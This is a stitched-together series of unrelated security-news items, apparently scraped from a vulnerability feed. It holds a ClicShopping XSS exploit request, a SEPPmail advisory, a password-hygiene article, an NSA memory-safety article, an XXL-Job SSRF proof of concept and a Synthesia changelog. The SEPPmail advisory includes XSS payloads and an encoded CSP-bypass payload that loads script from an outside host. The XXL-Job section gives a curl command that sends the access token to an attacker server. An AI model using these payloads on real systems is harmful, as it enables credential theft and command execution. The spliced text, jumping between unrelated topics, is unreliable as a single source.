ClicShopping version 3.402 suffers from a cross site scripting vulnerability.

    ## Title: ClicShopping_V3-Version3.402 XSS-Reflected## Author: nu11secur1ty## Date: 11.20.2022## Vendor: https://www.clicshopping.org/forum/## Software: https://github.com/ClicShopping/ClicShopping_V3/releases/tag/version3_402## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3## Description:The name of an arbitrarily supplied URL parameter is copied into thevalue of an HTML tag attribute which is encapsulated in doublequotation marks.The attacker can trick users to open a very dangerous link or he canget sensitive information, also he can destroy some components of yoursystem.## STATUS: HIGH Vulnerability[+] Payload:```jsGET /ClicShopping_V3-version3_402/index.php?Search&AdvancedSearch&bel9c%22onmouseover%3d%22alert(`Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole-Hello-hole`)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22zgm9j=1HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107Safari/537.36Connection: closeCache-Control: max-age=0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/clicshopping.org/2022/ClicShopping_V3)## Proof and Exploit:[href](https://streamable.com/mgbftx)## Time spent`1:00`

ClicShopping 3.402 Cross Site Scripting

Auth. (subscriber+) Insecure Direct Object References (IDOR) vulnerability in Comments – wpDiscuz plugin 7.4.2 on WordPress.

CVE-2022-43492: Comments – wpDiscuz

The SEPPmail solution is vulnerable to a Cross-Site Scripting vulnerability (XSS), because user input is not correctly encoded in HTML attributes when returned by the server.SEPPmail 11.1.10 allows XSS via a recipient address.

During a penetration test, Pentagrid identified several vulnerabilities in the E-mail gateway SEPPmail version 11.1.10 developed by the Swiss company Seppmail AG. The gateway solution is used to transfer confidential E-mails.

**Timeline**

*   2020-12-14: Vulnerabilities found.
    
*   2021-01-12: Initial contact for coordinated disclosure.
    
*   2021-01-15: Ticket opened.
    
*   2021-02-17: Inquiry about planning and whether there is a need for clarification. According to Seppmail, the issues were already fixed.
    
*   2022-11-17: Advisory updated and published.
    

**Affected Components**

The identified vulnerabilities affect SEPPmail Version 11.1.10. Other versions of the SEPPmail software may be affected as well.

**Technical Details**

**1\. Reflected Cross-Site Scripting (XSS) via subject parameter (CVE-2021-31739)**

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, **6.1 Medium**

The SEPPmail solution is vulnerable to a Cross-Site Scripting vulnerability (XSS), because user input is not correctly encoded in HTML attributes when returned by the server.

Impact: An attacker can execute arbitrary HTML/JavaScript code in the domain under which SEPPmail runs (for example _securemail.example.org_) in the target's browser and, for example, attempt to retrieve the target's username and password and send them to the attacker.

Details: During the security test it was found that the URL parameter subject is received, but is not correctly encoded and re-embedded in the HTML page. If a target person calls the following URL, the HTML code contained in the URL is subsequently executed:

https://securemail.example.org/web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20><svg%20src=://example.org/assets/img/svg/svg\_xss.svg%20width=999%20height=999>

The corresponding HTTP request with HTML code in the Parameter subject is:

GET /web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20><svg%20src=://example.org/assets/img/svg/svg\_xss.svg%20width=999%20height=999> HTTP/1.1
Host: securemail.example.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

And the corresponding HTTP response that embeds the HTML code from the request in the response is:

HTTP/1.1 400 ERROR
Date: Mon, 14 Dec 2020 09:47:19 GMT
Cache-control: private, no-cache, no-store
Pragma: no-cache
X-frame-options: DENY
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-length: 16302
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: Origin
Connection: close
Content-Type: text/html; charset=utf-8
Set-Cookie: \[…\]; Path=/; Domain=.securemail.example.org; HTTPOnly

\[…\]
         <input type="hidden" name="rcpt" value="" />
         <input type="hidden" name="predefinedsubject" value="foobar" value=pentagrid autofocus type=text ><svg src=://example.org /assets/img/svg/svg\_xss.svg width=999 height=999>" />
         <div class="panel panel-default" style="margin-bottom:10px;">
             <div class="panel-body">
                 <div class="form-horizontal"
\[…\]

In this case, the SVG image file is embedded as a placeholder in the page, but because of the Content Security Policy used, it is not loaded from the _example.org_ page and thus no JavaScript is executed. However, the Content Security Policy bypass in finding 1.3 is applicable.

Precondition: A target must open the URL created by the attacker. Furthermore, the attacker must also find the Content Security Policy bypass to effectively exploit the problem.

**2\. Cross-Site Scripting vulnerability via recipient address (CVE-2021-31740)**

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, **6.1 Medium**

For the recipient field in SEPPMail's web frontend, user input is not embedded correctly in the web page and therefore leads to cross-site scripting vulnerabilities (XSS).

Impact: An attacker can execute arbitrary JavaScript code in SEPPmail's domain and, for example, trick a target person into revealing credentials.

Details: If a recipient address with the following content is inserted in the SEPPmail web interface and then an attempt is made to send the e-mail, the JavaScript code contained is executed:

foo@bar<svg/onload='alert(1))'

Basically, this problem would not be exploitable and would represent a so-called Self-XSS, where a user could only attack himself. However, the application allows all parameters to be transferred in the URL, such as the session token. Thus, an attacker can use his own session to log the target in and immediately execute the XSS. However, this URL is then only valid as long as the included session is also valid:

https://securemail.example.org/web.app?session=Ufde\[…\]K&Uf\[…\]K=Uj\[…\]VT&op=send-mail&msgid=1607513954.6024&email=example@example.org&origtrackid=&origmsgid=&submit=yes&newto=foo@bar%3csvg%2fonload%3d%27alert%281%29%27&recipients%5b%5d=&subject=&uploadfile=&messagebody=

If a target person opens the URL, he or she is recognized as a logged-in attacker (because of the session ID passed along) and then the XSS is executed. With XSS, it would be possible for an attacker to display a login form, for example, in order to get the target person to enter login credentials. These could then be forwarded to the attacker.

Precondition: A target person must be tempted to open the attacker-specified URL. The attacker must also have his own access to the SEPPmail installation and be willing to pass on his associated session token to the target. In addition, the attack is time-limited to the validity of the session in the URL.

**3\. Bypassing weak content security policy (CSP)**

CVSS:3.1, **0.0 Information**

In order to make Cross-Site Scripting attacks more difficult, the website uses a Content Security Policy. However, this is not designed to be complete and can be bypassed by an attacker.

Impact: An attacker who finds a Cross-Site Scripting vulnerability on the website can also exploit it.

Details: The CSP is a mechanism to prevent XSS attacks (as in the previously described findings). However, this requires a strict and gap-less design of the CSP. SEPPMail's CSP is visible for every website visitor and has the following rules:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';

The unsafe-inline directive is particularly problematic. Inlined JavaScript is allowed here and thus the CSP supports common Cross-Site Scripting attacks. For example, if an attacker performs a Cross-Site Scripting attack using finding 2, but is unaware of the active SCP, he could use the following HTML code:

foo@bar<svg/src='https://example.org/'

However, since the CSP states default-src self, the browser does not reload images from the _example.org_ page used here. The browser denies access with the following error message:

Refused to load the image 'https://example.org/' because it violates the following Content Security Policy directive: "img-src 'self'".

A similar error would occur if an attempt was made to load a JavaScript file from _example.org_.

However, it is problematic that the script source unsafe-inline is allowed to be used, i.e. the following XSS attack works because an embedded JavaScript code is included:

foo@bar<svg/onload='alert(1))'

Therefore, an attacker basically has the possibility to execute JavaScript. This can be exploited further to indirectly load and execute JavaScript from _example.org_. Usually there are always web pages on the used domain _securemail.example.org_ that do not return HTTP header Content-Security-Policy, for example error pages like on the URL https://securemail.example.org/a that returns an unprotected error page:

HTTP/1.1 404 Not Found
Date: Wed, 09 Dec 2020 12:22:05 GMT
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-Length: 196
Connection: close
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: \[…\]; Path=/; Domain=securemail.example.org; HTTPOnly

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

This can be used to load this error page in a separate IFrame:

foo@bar<svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);'

Afterwards, a new JavaScript element can be created, which is then loaded into the IFrame. Since no CSP applies to the IFrame (since the HTTP header is not returned on the IFrame URL), any JavaScript code can be loaded there, even from _example.org_:

foo@bar<svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);setTimeout(function(){script=document.createElement("script");script.src="//example.org/a.js";window.frames\[0\].document.head.appendChild(script);},3000);'

However, since in the payload used will be converted to lowercase, the JavaScript code must still be encoded. This results in the following attack code:

https://securemail.example.org/web.app?session=0H\[…\]E=z\[…\]I&op=send-mail&msgid=1607527930.5970&email=example@example.org&origtrackid=&origmsgid=&submit=yes&recipients\[\]=&subject=&uploadfile=&messagebody=&newto=foo@bar%3Csvg/onload=%27%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000061%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000105%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000034%26%230000041%26%230000059%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000118%26%230000049%26%230000047%26%230000034%26%230000059%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000098%26%230000111%26%230000100%26%230000121%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000061%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000034%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000032%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000047%26%230000101%26%230000120%26%230000097%26%230000109%26%230000112%26%230000108%26%230000101%26%230000046%26%230000111%26%230000114%26%230000103%26%230000047%26%230000053%26%230000046%26%230000106%26%230000115%26%230000034%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000114%26%230000099%26%230000032%26%230000115%26%230000112%26%230000101%26%230000099%26%230000105%26%230000102%26%230000105%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000119%26%230000105%26%230000110%26%230000100%26%230000111%26%230000119%26%230000046%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000115%26%230000091%26%230000048%26%230000093%26%230000046%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000104%26%230000101%26%230000097%26%230000100%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%27

An attacker can then deliver arbitrary JavaScript code in the JavaScript file on _example.org_. The attacker also has the possibility to perform the attack covertly in the background without IFrames or similar elements being visible.

Precondition: An attacker must first find an exploitable Cross-Site Scripting vulnerability. In addition, user interaction is required for the attack to be carried out, which may involve a visit to one of the attacker's websites or, for example, an advertisement displayed on a third-party website.

**4\. Vulnerable version of the jQuery JavaScript library**

CVSS:3.1, **0.0 Information**

The SEPPmail appliance uses a version of a JavaScript library that has known vulnerabilities.

Impact: If an attacker finds a place where the vulnerability can be exploited, it results in a Cross-Site Scripting attack on the website.

Details: The JavaScript library jQuery, which is used on the SEPPmail appliance website, is available at the following URL:

https://securemail.example.org/js/jquery-3.4.1.min.js

Version 3.5 resolves a potential cross-site scripting issue, as described in the corresponding release notes.

Precondition: An attacker must first find a place where jQuery is used in an exploitable form.

**5\. Reachable registration form and enumeration of already registered e-mail addresses**

CVSS:3.1, **0.0 Information**

Although the functionality for user self-registration has been disabled in the SEPPmail installation Pentagrid reviewed, an attacker can register a new user but could not activate it.

Impact: The problem has no effect because the user account cannot be activated in the tested installation. If an attacker succeeds in activating it, he would be able to use the logged-in area of SEPPmail without an account being created for the attacker. An attacker can also try existing e-mail addresses to find out whether they are already registered on the portal.

Details: The SEPPmail instance used had the following setting disabled: _Allow account self-registration in GINA portal without initial mail_. If an attacker requests the following URL, a new account is created for the email contained in the URL:

https://securemail.example.org/web.app?session=&chksum=&op=accountinit&email=example@example.org&seppmailname=&uilang=e&newpw=11111111&newpw2=11111111&question=In+what+town+or+city+was+your+first+full+time+job%3f&question-preset=0&answer=111&telephone=&toconfirm=yes

If an email address is used in the URL which is already registered, an error is returned saying that a new user could not be created. Thus, an attacker can try different email addresses to find out whether a specific email address is already registered in SEPPmail.

If a not yet registered e-mail address is used, the account will be registered again. However, no activation e-mail was subsequently delivered on the system. It is unclear why this is the case, but the e-mail was blocked when it was sent. Whether a user was created internally in the SEPPmail database was not investigated.

Precondition: The attacker can only enumerate e-mail addresses that have already been registered. Further attacks would require additional vulnerabilities, for example, those that allow an account to be activated.

**Patches and Workaround**

According to Seppmail AG, the vulnerabilities have been addressed since version 12.0.6. Version 12.0.6 was released on 2021-01-27.

CVE-2021-31739: Multiple vulnerabilities in SEPPmail 11.1.10

By Waqas
ExpressVPN’s study on the most common passwords around the world showed that 42% of people use their first name in their passwords, while 43% of them use their birth date.
This is a post from HackRead.com Read the original post: Study shows that 42% of people use their names in passwords

Password theft can make life significantly more difficult. Aside from benign major hassle, compromised passwords can easily lead to identity theft and cause serious legal issues. Therefore, it is worth paying attention to the strength of your passwords and changing them regularly or, at the latest, when you suspect your accounts have been compromised.

ExpressVPN’s study on the most common passwords around the world showed that 42% of people use their first name in their passwords, while 43% of them use their birth date. Since this information is easily traceable on social media, your accounts can be more prone to hacking attacks.

**How can someone find out my password?**

A compromised password allows unauthorized people to log into your accounts. Password compromise is usually not your fault; your data is not directly compromised on a specific computer. There’s no reason to automatically assume that an attacker has accessed or hacked your computer and is still watching it (these thoughts are only appropriate if you find that multiple passwords have been compromised in a relatively short period of time).

The most common reason is the theft of user’s personal data from various services. It is also conceivable that attackers could hack and obtain a database of users of a certain service (a so-called “Breach”) and then publish it. The password is then sold on the black market and can in fact be read by anyone. 

**How to protect yourself****Checking for fraudulent use**

You can easily check your password online. Take a look at the publicly available tools that can do this. Most of them work automatically and can send an alert when you enter your email address if they detect a leak or incident (containing your email address or password) as mentioned above.

The best-known monitoring tool is ”have I been pwned”. Here, after entering your email address, you can see which services or providers have been hacked and which user accounts have been compromised. If your account is listed, consider your password hacked and change it urgently. It is clear which one it is by looking at your password, even if it is not naturally displayed.

You can type the password directly into the Pwned Passwords tool (instead of looking for the associated email). The result is a notification of whether the password was part of a data breach and how many times it happened. The database contains over 613 million compromised passwords that have previously been proven to have been stolen.

Other password compromise checking services:

*   F-Secure
*   Firefox Monitor
*   Chrome browser
*   Avast Hack Check
*   Mirkat for Lenovo

**Discover weak and duplicated passwords at the administrator or keychain**

Password compromise detection or password weakness alerts should be available in any decent password manager. We’ve already covered them in our magazine, and you can find the best-known ones in a dedicated password managers section.

On some systems, passwords are stored in keychains that support the features mentioned above; for example, on iOS (iPhone) and macOS, the keychain warns if a password is weak or repeated across multiple services. Since iOS 14 and macOS Big Sur, the keychain can also keep track of compromised passwords. If your saved password has an exclamation mark icon next to it, you should change it right away.

1.  List of 2020’s most used passwords is here and it’s appalling
2.  Revealed: The 200 Most used and Worst Passwords of 2021
3.  Chrome on Android will alert, fix your compromised password
4.  Psst! tool by 1Password lets users share passwords using a link
5.  Nissan source code leaked, it used “admin” as username, password

**Use a password manager**

The average internet user uses so many services and apps that if they had to use unique passwords for each one, they would not be able to remember them. So, if you don’t want to give up security completely and use a single password, we recommend using a password manager.

Password managers may even suggest strong passwords, which is something to consider. Password suggestions are also built into some browsers or password manager plug-ins allow this feature. Artificial intelligence can judge better than the user what is a suitable and strong password.

The default setting for cloud-based password managers is to log in with 2FA. If you use a password manager on your phone, it usually has biometrics – fingerprint or facial recognition. This adds another layer of security to password access.

**Ustwo-factor authentication**

We regularly cover two-factor authentication (2FA) in our magazine, so the term is certainly not new to you. Simply put, 2FA adds an extra layer of protection to your login, so a simple password is no longer enough. To log in, you will still need to enter a one-time password (OTP), which is generated separately on the device you have. This is usually an app on your smartphone that shows you an OTP password for each “paired” service, which is valid for a very short period.

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

Study shows that 42% of people use their names in passwords

Languages such as C and C++ rely too heavily on the programmer not making simple memory-related security errors.

Security analysts welcomed a recommendation from the US National Security Agency (NSA) last week for software developers to consider adopting languages, such as C#, Go, Java, Ruby, Rust, and Swift, that reduce memory-related vulnerabilities in code.

The NSA described these as "memory-safe" languages that manage memory automatically as part of the computer language. They do not rely on the programmer to implement memory security and instead use a combination of compile time and runtime checks to protect against memory errors, the NSA said.

**The Case for Memory-Safe Languages**

The NSA's somewhat unusual advisory on Nov. 10 pointed to widely used languages such as C and C++ as relying too heavily on programmers not to make memory-related mistakes, which it noted continues to be the top cause for security vulnerabilities in software. Previous studies — one by Microsoft in 2019 and another from Google in 2020 related to its Chrome browser, for instance — found 70% of vulnerabilities were memory-safety issues, the NSA said.

"Commonly used languages, such as C and C++, provide a lot of freedom and flexibility in memory management while relying heavily on the programmer to perform the needed checks on memory references," the NSA said. This often results in exploitable vulnerabilities tied to simple mistakes such as buffer overflow errors, memory allocation issues, and race conditions.

C#, Go, Java, Ruby, Rust, Swift, and other memory-safe languages do not completely eliminate the risk of these issues, the NSA said in its advisory. Most of them, for instance, include at least a few classes or functions that aren't memory-safe and allow the programmer to perform a potentially unsafe memory management function. Memory-safe languages can sometimes also include libraries written in languages that contain potentially unsafe memory functions.

But even with these caveats, memory-safe languages can help reduce vulnerabilities in software resulting from poor and careless memory management, the NSA said.

Tim Mackey, principal security strategist at Synopsys Cybersecurity Research Center, welcomes the NSA's recommendation. The use of memory-safe languages should, in fact, be the default for most applications, he says.

"For practical purposes, relying on developers to focus on memory management issues instead of programming cool, new features represents a tax on innovation," he says.

With memory-safe programming languages and associated frameworks, it is the authors of the language that ensure proper memory management and not the application developers, Mackey says.

**Shift Can Be Challenging**

Shifting a mature software development environment from one language to another can be hard, the NSA acknowledged. Programmers will need to learn the new language, and there are likely going to be newbie mistakes and efficiency hits during the process. The extent of memory security that is available can also vary significantly by language. Some might offer only minimal memory security, while others offer considerable protections around memory access, allocation, and management.

In addition, organizations will need to consider how much of a tradeoff they are willing to make between security and performance. "Memory safety can be costly in performance and flexibility," the NSA warned. "For languages with an extreme level of inherent protection, considerable work may be needed to simply get the program to compile due to the checks and protections."

Myriad variables are in play when trying to port an application from one language to another, says Mike Parkin, senior technical engineer at Vulcan Cyber.

"In a best-case scenario, the shift is simple and an organization can accomplish it relatively painlessly," Parkin says. "In others, the application relies on features that are trivial in the original language but require extensive and expensive development to re-create in the new one."

The use of memory-safe languages also doesn't replace the need for proper software testing, Mackey cautions. Just because a programming language is memory-safe doesn't mean the language or applications developed on it are free from bugs.

Moving from one programming language to another is a risky proposition unless you have staff that already understands both the old language and the new one, Mackey says.

"Such a migration is best done when the application is going through a major version update," he notes. "Otherwise there is the potential that inadvertent bugs are introduced as part of the migration effort."

Mackey suggests that organizations consider using microservices when it comes to shifting languages.

"With a microservices architecture, the application is decomposed into a set of services that are containerized," Mackey says. "From the perspective of a programming language, there is nothing that inherently requires that each microservice be programmed in the same programming language as other services within the same application."

**Making the Move**

Recent data from Statista shows that many developers are already using languages that are considered memory-safe. For instance, nearly two-thirds (65.6%) use JavaScript, nearly half (48.06%) use Python, one-third use Java, and nearly 28% use C#. At the same time, a substantial proportion are still using unsafe languages, such as C++ (22.5%) and C (19.25%).

"I think many organizations have already been switching away from C/C++ not only for the memory-safety issue, but also for the overall ease of development and maintenance," says Johannes Ullrich, dean of research at the SANS Technology Institute. "But there will still be legacy code bases that will have to be maintained for many years to come."

NSA's advisory offered little insight into what might have prompted its recommendation at this juncture. But John Bambenek, principal threat hunter at Netenrich, advises organizations not to ignore it.

"Memory vulnerabilities and attacks have been pervasive since the 1990s, so in general, this is good advice," he says. "With that being said, as this is coming from the NSA, I believe this advice should take added urgency and is being driven by knowledge they have and we don't."

Analysts Welcome NSA's Advice for Developers to Adopt Memory-Safe Languages

XXL-Job before v2.3.1 contains a Server-Side Request Forgery (SSRF) via the component /admin/controller/JobLogController.java.

xxl-job =< 2.3.1 version (latest version) has SSRF vulnerability, which causes low-privileged users to control executor to execute arbitrary commands

1.  Vulnerability description  
    XXL-JOB is a distributed task scheduling platform based on java language in the XXL (XXL-JOB) community.  
    There is an SSRF vulnerability in xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java of Xxl-job 2.3.1, which originates from /logDetailCat, it directly sends a query log request to the address specified by executorAddress without judging whether the executorAddress parameter is the valid executor address. The query request will have the XXL-JOB-ACCESS- TOKEN, resulting in the leakage of XXL-JOB-ACCESS-TOKEN, and then the attacker obtains XXL-JOB-ACCESS-TOKEN and calls any executor, causing the execution of arbitrary commands of the executor.  
    The /logDetailCat interface call only needs to be a low Privilege user of the platform。

2.Affected version  
Xxl-job-admin =< 2.3.1 （latest）

3.Proof of concept  
1、build an http server locally and print the http request header log.  
  
2、Create a normal user normal without any executor permissions。  
  
  
3、When using the normal user to call the interface, set the input parameter executor Address to the http server address in step 1, and print the XXL-JOB-ACCESS-TOKEN directly on the target server  
curl 'http://localhost:8080/xxl-job-admin/joblog/logDetailCat' \ -H 'Accept: application/json, text/javascript, */*; q=0.01' \ -H 'Accept-Language: zh-CN,zh;q=0.9' \ -H 'Connection: keep-alive' \ -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ -H 'Cookie: Idea-6a85f0b8=3349f800-77dc-4e25-a562-885457beb2aa; XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226e6f726d616c222c2270617373776f7264223a223563373066666266643839303065626533643037326562346162353064376162222c22726f6c65223a302c227065726d697373696f6e223a22227d' \ -H 'Origin: http://localhost:8080' \ -H 'Referer: http://localhost:8080/xxl-job-admin/' \ -H 'Sec-Fetch-Dest: empty' \ -H 'Sec-Fetch-Mode: cors' \ -H 'Sec-Fetch-Site: same-origin' \ -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36' \ -H 'X-Requested-With: XMLHttpRequest' \ -H 'sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"' \ -H 'sec-ch-ua-mobile: ?0' \ -H 'sec-ch-ua-platform: "macOS"' \ --data-raw 'executorAddress=http://10.224.203.118&logId=0&fromLineNum=0&triggerTime=1586629003729' \ --compressed   
  

4、Use the token to call the task trigger interface of the executor Restful API to execute arbitrary commands  

4、Recommendations  
The same as in JobLogController.java, when matching the /joblog route, it will enter the index method to judge whether the 'executorAddress executor address belongs to the executor address.

CVE-2022-43183: xxl-job =< 2.3.1 version (latest version) has SSRF vulnerability, which causes low-privileged users to control executor to execute arbitrary commands · Issue #3002 · xuxueli/xxl-job

A buffer overflow in Synthesia before 10.7.5567, when a non-Latin locale is used, allows user-assisted attackers to cause a denial of service (application crash) via a crafted MIDI file with malformed bytes. This file is mishandled during a deletion attempt. In Synthesia before 10.9, an improper path handling allows local attackers to cause a denial of service (application crash) via a crafted MIDI file with malformed bytes.

Oct 31 2021

**Synthesia 10.8**

MusicXML files can now be opened by Synthesia!

For now, none of the additional musical information (vs. a MIDI file) is being used when drawing sheet music. But MusicXML files should load, play, and sound correct. We'll be using the newly available musical information to improve the sheet music over the next several updates. If you spot something that doesn't sound correct, please let us know!

What's new in **Synthesia 10.8**:

*   MusicXML file loading.
*   Reworked full-screen sheet music navigation. (Watch the video.)
*   The song list should load about 100x faster.
*   Apple silicon support on macOS.
*   Many other fixes and improvements.

May 20 2021

**Changing Lives for 15 Years**

Synthesia has been around since before apps were called apps. Over the years, my favorite thing has been learning the different ways it has impacted the lives of its users.

Recently YouTube collected and showcased a number of stories about videos that have done the same for users of their platform. One of those stories was about a Japanese seaweed farmer that used videos of songs played in Synthesia to achieve his dreams of becoming a pianist.

It's a great story that you can watch, here. (It's in Japanese, so you may need to click the CC button at the lower-right to turn on subtitles.)

Hearing from so many of you over the years has brought no end to the gratification this project has given me. Thank you for going on this journey with me and thank you for using Synthesia!

\- Nicholas

Feb 15 2021

**Synthesia 10.7**

Simple MIDI Recording, down-stems, and new languages:

*   Added a simple multi-track recorder to the Free Play screen (when unlocked).
*   Improved sheet music: note stems are now able to point down.
*   Added three new display languages: Catalan, Turkish, and Japanese.
*   Many other fixes and improvements.

Sep 29 2019

**Synthesia 10.6**

Full-screen Sheet Music:

*   Use the new gear menu to show full-screen sheet music.
*   Navigate through the song by clicking the sheet music.
*   Bookmarks and loops are now shown in sheet music.
*   Set the number of errors before your loop restarts automatically.
*   Many other bug fixes and improvements.

Jan 29 2019

**Synthesia 10.5.1**

New settings and lots of fixes:

*   Added Thai language support.
*   Added 9 new settings to customize under Gameplay and Advanced.
*   The built-in synth (on PC and Android) now has nicer reverb.
*   Fixed high CPU usage on macOS Mojave.
*   iPad Pro 11" screen size support.
*   About a dozen other bug fixes and small improvements.

Nov 21 2018

**Synthesia 10.5**

Better sounds, iOS Files support, Android M MIDI, Chromebooks, and more!

*   Added a faster synth with better sounds for Windows and Android.
*   You can now manage your songs on the iPad with the Files app.
*   MIDI devices should now appear on compatible Chromebook models.
*   Improved Android MIDI compatibility.
*   Improved Windows 10 MIDI compatibility.
*   Many more features, bug fixes, and performance improvements.

Nov 17 2017

**Synthesia 10.4**

Sharp notation, Windows 10 MIDI, "Simple" labels, AVI export, and more!

*   Sheet music now always appears sharp, regardless of size.
*   Windows 10 MIDI support: lower latency synth and Bluetooth MIDI!
*   Support for "The ONE Smart Keyboard" key lights on iPad and Android.
*   New "Simple" labels mode that shows C, D, E, etc. on white keys only.
*   Windows version of the Video Creator now lets you export AVI files.
*   And 20+ more features and bug fixes.

Sep 13 2016

**Synthesia 10.3**

More songs, more languages, more modernization, and lots of fixes!

*   Added 5 songs from the Undertale and Five Nights at Freddy's games.
*   Added Slovenian and Polish language support.
*   Retina support for Mac, now making Synthesia HiDPI-aware everywhere.
*   Try the first 20 seconds of any song without unlocking Synthesia.
*   Plus 16 more features and 15 bug fixes.

Aug 23 2015

**Synthesia 10.2**

Synthesia 10.2 adds new conveniences and smooths a few rough edges!

*   Unlock Synthesia for Android using your key from the desktop version!
*   Discover our how-to guides using Synthesia's new help buttons.
*   Try out even more songs in trial mode.
*   Read the larger key and note labels more easily.
*   Toggle loops on/off with the "/" key.
*   Set your zoom level to "Custom", then match the screen to your keyboard.
*   Install more easily on Windows in a single click.
*   Enjoy 48 more improvements and fixes!

Jan 6 2015

**Synthesia 10.1**

Added Dutch language support and fixed 17 bugs!

Dec 19 2014

**Synthesia for Android**

If you've got an Android device that runs Android 4.1 or later, download Synthesia now:

Keyboards can be connected using USB On-The-Go cables.

